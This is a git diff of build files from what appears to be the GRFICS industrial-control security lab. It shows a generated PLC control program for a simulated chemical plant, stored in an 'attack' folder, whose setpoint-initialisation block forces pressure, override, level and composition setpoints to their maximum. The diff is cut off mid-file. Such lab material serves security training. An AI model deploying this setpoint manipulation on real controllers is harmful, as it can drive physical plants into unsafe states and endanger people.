+395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; 